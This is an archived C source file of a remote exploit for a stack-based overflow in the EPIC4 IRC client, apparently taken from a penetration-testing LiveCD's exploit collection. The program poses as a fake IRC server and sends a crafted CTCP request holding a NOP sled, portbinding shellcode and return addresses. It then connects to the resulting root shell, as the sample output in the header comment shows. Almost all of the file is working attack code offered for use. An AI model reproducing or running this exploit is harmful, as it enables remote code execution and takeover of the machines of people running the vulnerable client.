home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / epic4 / epic4-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  15KB  |  505 lines

  1. /* EPIC4 remote client-side stack-based overflow
  2.  * by Li0n7 - Li0n7[at]voila[dot]fr
  3.  *
  4.  * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
  5.  * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
  6.  * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
  7.  * doesn't perform any boundary checking, will return a negative pointer
  8.  * As a matter of fact, snprintf is called with a negative value as
  9.  * maximum data lenght to write at *putbuf2 address (pointing to somewhere
  10.  * inside the stack). Since we can control the content of the buffer written
  11.  * at *putbuf2 address without any boundary checking, we can easily execute
  12.  * arbitrary code.
  13.  *
  14.  * This little proof-of-concept code demonstrates the exploitation of the
  15.  * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
  16.  *
  17.  * This exploit works as a fake IRC server, waiting for connection and then
  18.  * trying to take advantage of the vulnerabilty by sending a specially CTCP
  19.  * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
  20.  * This code needs a few changes to work as a bouncer and more targets to be
  21.  * really efficient.
  22.  *
  23.  * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
  24.  *      -p: wait for connection on port <PORT>
  25.  *      -t: choose the target among the platforms available
  26.  *      -f: use <FILE> datas as welcome message
  27.  *      -r: use <RET> as return address
  28.  *
  29.  *
  30.  *$ ./epic4-exp -p 6667 -t 0 -v
  31.  *[+] Setting up a fake IRC server...
  32.  *[+] Awaiting connection on port 6667
  33.  *[!] Connection established with 127.0.0.1
  34.  *
  35.  *[127.0.0.1] USER request received.
  36.  *[127.0.0.1] NICK request received.
  37.  *[127.0.0.1] Fake replies sent.
  38.  *[127.0.0.1] Ping sent.
  39.  *[127.0.0.1] Looking up client version...
  40.  *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
  41.  *[127.0.0.1] Welcome message sent.
  42.  *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
  43.  *[127.0.0.1] Evil CTCP request sent.
  44.  *
  45.  *[+] Let's rock on!
  46.  *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
  47.  *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
  48.  *
  49.  */
  50.  
  51.  
  52.  
  53.  
  54.  
  55. #include <stdio.h>
  56. #include <unistd.h>
  57. #include <netdb.h>
  58. #include <netinet/in.h>
  59. #include <errno.h>
  60.  
  61. #define D_BACK       26112
  62. #define D_RET        0xbfffd06b
  63. #define D_PORT       6667
  64.  
  65. #define HOSTNAME     ": NOTICE AUTH :*** Looking up your hostname...\r\n"
  66. #define IDENT        ": NOTICE AUTH :*** Checking Ident\r\n"
  67. #define HOST_FOUND   ": NOTICE AUTH :*** Found your hostname\r\n"
  68. #define PING         "PING :571503427\r\n"
  69.  
  70. #define BUFFERSIZE   602
  71. #define SIZE         1024
  72.  
  73. char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */
  74.  
  75. "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
  76. "\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
  77. "\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
  78. "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
  79. "\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
  80. "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
  81. "\x89\xe1\xb0\x0b\xcd\x80";
  82.  
  83.  
  84. int back_connection(long host);
  85. char * build(char *host);
  86. char * build_welcome_mes(char *host,char *version);
  87. long resolve_host(u_char *host_name);
  88. void send_mes(int fd,char *host);
  89. void wait_connection(int port,char *buffer);
  90. void die(char *argv);
  91.  
  92. unsigned int check_version = 0;
  93. unsigned char welcome[128];
  94. unsigned long ret_addr;
  95.  
  96. struct os_ret_addr
  97. {
  98.       int num;
  99.       char *plat;
  100.       long ret;
  101. };
  102.  
  103. struct os_ret_addr exp_os[]=
  104. {
  105.       {0,"slack 9.0",0xbfffd06b},
  106.       {0,NULL,0}
  107. };
  108.  
  109. int
  110. main(int argc,char *argv[])
  111. {
  112.       int i, option, port = D_PORT;
  113.       long host = 0;
  114.       char * option_list = "f:p:r:t:v", buffer[SIZE+1];
  115.  
  116.       opterr = 0;
  117.       memset(welcome,0,128);
  118.  
  119.       if (argc < 2) die(argv[0]);
  120.  
  121.       while((option = getopt(argc,argv,option_list)) != -1)
  122.           switch(option)
  123.           {
  124.               case 'f':
  125.                   strncpy(welcome,optarg,sizeof(welcome)-1);
  126.                   welcome[sizeof(welcome)-1] = '\0';
  127.                   break;
  128.               case 'p':
  129.                   port = atoi(optarg);
  130.                   if(port > 65535 || port < 0) exit(-1);
  131.                   break;
  132.               case 'r':
  133.                   ret_addr = atol(optarg);
  134.                   if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
  135.                   break;
  136.               case 't':
  137.                   for(i=0; exp_os[i].plat != NULL; i++)
  138.                   if(atoi(optarg) > i || atoi(optarg) < 0)
  139.                   {
  140.                       fprintf(stderr," Platforms supported are:\n");
  141.                       for(i=0; exp_os[i].plat != NULL; i++)
  142.                           fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  143.                           exit(0);
  144.                   }
  145.                   ret_addr = exp_os[atoi(optarg)].ret;
  146.                   break;
  147.               case 'v':
  148.                   check_version = 1;
  149.                   break;
  150.               case '?':
  151.                   fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
  152.                   die(argv[0]);
  153.           }
  154.  
  155.       wait_connection(port,buffer);
  156.       return 0;
  157. }
  158.  
  159. char
  160. *build(char *host)
  161. {
  162.       char *buffer,*ptr,*request,*ret;
  163.       int i;
  164.       unsigned long *addr_ptr;
  165.  
  166.       fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret_addr);
  167.  
  168.       buffer = (char *)malloc(BUFFERSIZE+1);
  169.       request = (char *)malloc(SIZE+1);
  170.       ret = (char *)malloc(256);
  171.  
  172.       if(!buffer || !request || !ret)
  173.       {
  174.           fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
  175.           exit(0);
  176.       }
  177.  
  178.       ptr = buffer;
  179.       memset(ptr,0x90,BUFFERSIZE);
  180.       ptr += 500-strlen(shellcode);
  181.       for(i=0;i<strlen(shellcode);i++)
  182.           *ptr++ = shellcode[i];
  183.       ptr += 102;
  184.       *ptr = 0x0;
  185.  
  186.       ptr = ret;
  187.       addr_ptr = (long *)ptr;
  188.       for(i=0;i<151;i+=4)
  189.          *(addr_ptr++) = ret_addr;
  190.       ptr = (char *)addr_ptr;
  191.       *ptr = 0x0;
  192.  
  193.       snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);
  194.       return request;
  195. }
  196.  
  197. int
  198. back_connection(long host)
  199. {
  200.       struct sockaddr_in s;
  201.       u_char sock_buf[4096];
  202.       fd_set fds;
  203.       int fd,size;
  204.       char *command="/bin/uname -a ; /usr/bin/id;\n";
  205.  
  206.       fd = socket(AF_INET, SOCK_STREAM, 0);
  207.       if (fd < 0)
  208.       {
  209.           fprintf(stderr,"[-] %s\n",strerror(errno));
  210.           exit(0);
  211.       }
  212.  
  213.       s.sin_family = AF_INET;
  214.       s.sin_port   = htons(D_BACK);
  215.       s.sin_addr.s_addr = host;
  216.  
  217.       if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
  218.       {
  219.           fprintf(stderr,"[-] %s\n",strerror(errno));
  220.           close(fd);
  221.           exit(0);
  222.       }
  223.  
  224.       fprintf(stdout, "\n[+] Let's rock on!\n");
  225.  
  226.       size = send(fd, command, strlen(command), 0);
  227.       if(size < 0)
  228.       {
  229.           fprintf(stderr,"[-] %s\n",strerror(errno));
  230.           close(fd);
  231.           exit(0);
  232.       }
  233.  
  234.       for (;;)
  235.       {
  236.           FD_ZERO(&fds);
  237.           FD_SET(0, &fds);
  238.           FD_SET(fd, &fds);
  239.  
  240.           if (select(255, &fds, NULL, NULL, NULL) == -1)
  241.           {
  242.               fprintf(stderr,"[-] %s\n",strerror(errno));
  243.               close(fd);
  244.               exit(0);
  245.           }
  246.  
  247.           memset(sock_buf, 0, sizeof(sock_buf));
  248.  
  249.           if (FD_ISSET(fd, &fds))
  250.           {
  251.               if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
  252.               {
  253.                   fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
  254.                   close(fd);
  255.                   exit(0);
  256.               }
  257.  
  258.               fprintf(stderr, "%s", sock_buf);
  259.           }
  260.  
  261.           if (FD_ISSET(0, &fds))
  262.           {
  263.               read(0, sock_buf, sizeof(sock_buf));
  264.               write(fd, sock_buf, strlen(sock_buf));
  265.           }
  266.       }
  267.       return 0;
  268. }
  269.  
  270. char *
  271. build_welcome_mes(char *host,char *version)
  272. {
  273.       FILE *fd;
  274.       char *buffer,*file_buffer;
  275.  
  276.       buffer = (char *)malloc(1024);
  277.       file_buffer = (char *)malloc(512);
  278.  
  279.       if(!buffer)
  280.       {
  281.           fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
  282.           exit(0);
  283.       }
  284.  
  285.       if(strlen(welcome) > 0)
  286.       {
  287.           fd = fopen(welcome,"r");
  288.           if(fd < 0)
  289.           {
  290.               fprintf(stderr,"[-] %s\n",strerror(errno));
  291.               exit(0);
  292.           }
  293.           memset(buffer,0,1024);
  294.           while(1)
  295.           {
  296.               if(fgets(file_buffer,512,fd) == NULL) break;
  297.               strncat(buffer,file_buffer,1021);
  298.  
  299.           }
  300.           fclose(fd);
  301.           strcat(buffer,"\r\n");
  302.       }else{
  303.           snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
  304.                                ": NOTICE AUTH :*** Your host is %s, running client %s\n"
  305.                                ": NOTICE AUTH :*** This server was created in the past\n"
  306.                                ": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"
  307.                                ": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);
  308.       }
  309.       return buffer;
  310. }
  311.  
  312. void
  313. send_mes(int fd,char *host)
  314. {
  315.       int size;
  316.       char buffer[1024],data[1024],request[512],version[512];
  317.       char *ptr;
  318.  
  319.       size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
  320.       if(size < 0)
  321.       {
  322.           fprintf(stderr,"[-] %s\n",strerror(errno));
  323.           exit(0);
  324.       }
  325.       sleep(1);
  326.  
  327.       size = send(fd,IDENT,strlen(IDENT),0);
  328.       if(size < 0)
  329.       {
  330.           fprintf(stderr,"[-] %s\n",strerror(errno));
  331.           exit(0);
  332.       }
  333.       sleep(1);
  334.  
  335.       size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
  336.       if(size < 0)
  337.       {
  338.           fprintf(stderr,"[-] %s\n",strerror(errno));
  339.           exit(0);
  340.       }
  341.       sleep(1);
  342.  
  343.       fprintf(stdout,"[%s] Fake replies sent.\n",host);
  344.  
  345.       size = send(fd,PING,strlen(PING),0);
  346.       if(size < 0)
  347.       {
  348.           fprintf(stderr,"[-] %s\n",strerror(errno));
  349.           exit(0);
  350.       }
  351.  
  352.       fprintf(stdout,"[%s] Ping sent.\n",host);
  353.  
  354.       size = read(fd,data,1024);
  355.       if(strstr(data,"PONG"))
  356.       {
  357.           if(check_version)
  358.           {
  359.               memset(version,0,512);
  360.               memset(request,0,512);
  361.  
  362.               fprintf(stdout,"[%s] Looking up client version...\n",host);
  363.  
  364.               sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);
  365.  
  366.               size = send(fd,request,strlen(request),0);
  367.               if(size < 0)
  368.               {
  369.                   fprintf(stderr,"[-] %s\n",strerror(errno));
  370.                   exit(0);
  371.               }
  372.               memset(data,0,1024);
  373.               while(1)
  374.               {
  375.                   size = read(fd,data,1024);
  376.                   if((ptr = strstr(data,"VERSION ")) != NULL)
  377.                   {
  378.                       memset(version,0,512);
  379.                       strncpy(version,ptr+8,sizeof(version)-1);
  380.                       version[sizeof(version)-1] = '\0';
  381.                       fprintf(stdout,"[%s] Client version: %s",host,version);
  382.                       sleep(3);
  383.                       break;
  384.                   }
  385.               }
  386.           }
  387.  
  388.           strncpy(buffer,build_welcome_mes(host,version),1023);
  389.           buffer[1023] = '\0';
  390.           size = send(fd,buffer,1024);
  391.           fprintf(stdout,"[%s] Welcome message sent.\n",host);
  392.           sleep(1);
  393.  
  394.           memset(buffer,0,1024);
  395.           strncpy(buffer,build(host),1023);
  396.           buffer[1023] = '\0';
  397.           size = send(fd,buffer,1024);
  398.           sleep(1);
  399.  
  400.           fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);
  401.       }
  402.  
  403.       return;
  404. }
  405.  
  406. void
  407. wait_connection(int port,char *buffer)
  408. {
  409.       struct sockaddr_in s;
  410.       int size, fd, fd2, r;
  411.       char data[1024], nick[512], user[512];
  412.       char *ptr;
  413.       long host = 0;
  414.  
  415.       memset(data,0,1024);
  416.  
  417.       fprintf(stdout,"[+] Setting up a fake IRC server...\n");
  418.  
  419.       fd = socket(AF_INET,SOCK_STREAM,0);
  420.       if(fd < 0)
  421.       {
  422.           fprintf(stderr,"[-] %s\n",strerror(errno));
  423.           exit(0);
  424.       }
  425.  
  426.       s.sin_port = htons(port);
  427.       s.sin_addr.s_addr = 0;
  428.       s.sin_family = AF_INET;
  429.  
  430.       bind(fd,(struct sockaddr *) &s,sizeof(s));
  431.       listen(fd,1);
  432.       size = sizeof(s);
  433.  
  434.       fprintf(stdout,"[+] Awaiting connection on port %i\n",port);
  435.  
  436.       while(1)
  437.       {
  438.           fd2 = accept(fd,(struct sockaddr *) &s, &size);
  439.           fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));
  440.  
  441.           if(!fork())
  442.           {
  443.               close(fd);
  444.               while(1)
  445.               {
  446.                   memset(data,0,1024);
  447.                   r = read(fd2,data,1024);
  448.                   if((ptr = strstr(data,"USER ")) != NULL)
  449.                   {
  450.                       memset(user,0,512);
  451.                       strncpy(user,ptr+5,sizeof(user)-1);
  452.                       user[sizeof(user)-1] = '\0';
  453.                       fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));
  454.                   }
  455.  
  456.                   if((ptr = strstr(data,"NICK ")) != NULL)
  457.                   {
  458.                       memset(nick,0,512);
  459.                       strncpy(nick,ptr+5,sizeof(nick)-1);
  460.                       nick[sizeof(nick)-1] = '\0';
  461.                       fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));
  462.                   }
  463.  
  464.                   if((strlen(nick) > 0) && (strlen(user) > 0)) break;
  465.               }
  466.               send_mes(fd2,inet_ntoa(s.sin_addr));
  467.               back_connection(host);
  468.           }
  469.           close(fd2);
  470.       }
  471.       return;
  472. }
  473.  
  474. long resolve_host(u_char *host_name)
  475. {
  476.       struct in_addr addr;
  477.       struct hostent *host_ent;
  478.  
  479.       addr.s_addr = inet_addr(host_name);
  480.       if (addr.s_addr == -1)
  481.       {
  482.           host_ent = gethostbyname(host_name);
  483.           if (!host_ent) return(0);
  484.           memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  485.       }
  486.  
  487.       return(addr.s_addr);
  488. }
  489.  
  490. void
  491. die(char *argv)
  492. {
  493.       fprintf(stderr,"   remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
  494.       fprintf(stderr,"   vulnerability reported by Stuart Moore <smoore@securityglobal.net>\n");
  495.       fprintf(stderr,"   usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
  496.       fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
  497.       fprintf(stderr,"\t -t: choose the target among the platforms available\n");
  498.       fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
  499.       fprintf(stderr,"\t -r: use <RET> as return address\n\n");
  500.       exit(0);
  501. }
  502.  
  503. /* A poil! */
  504.  
  505.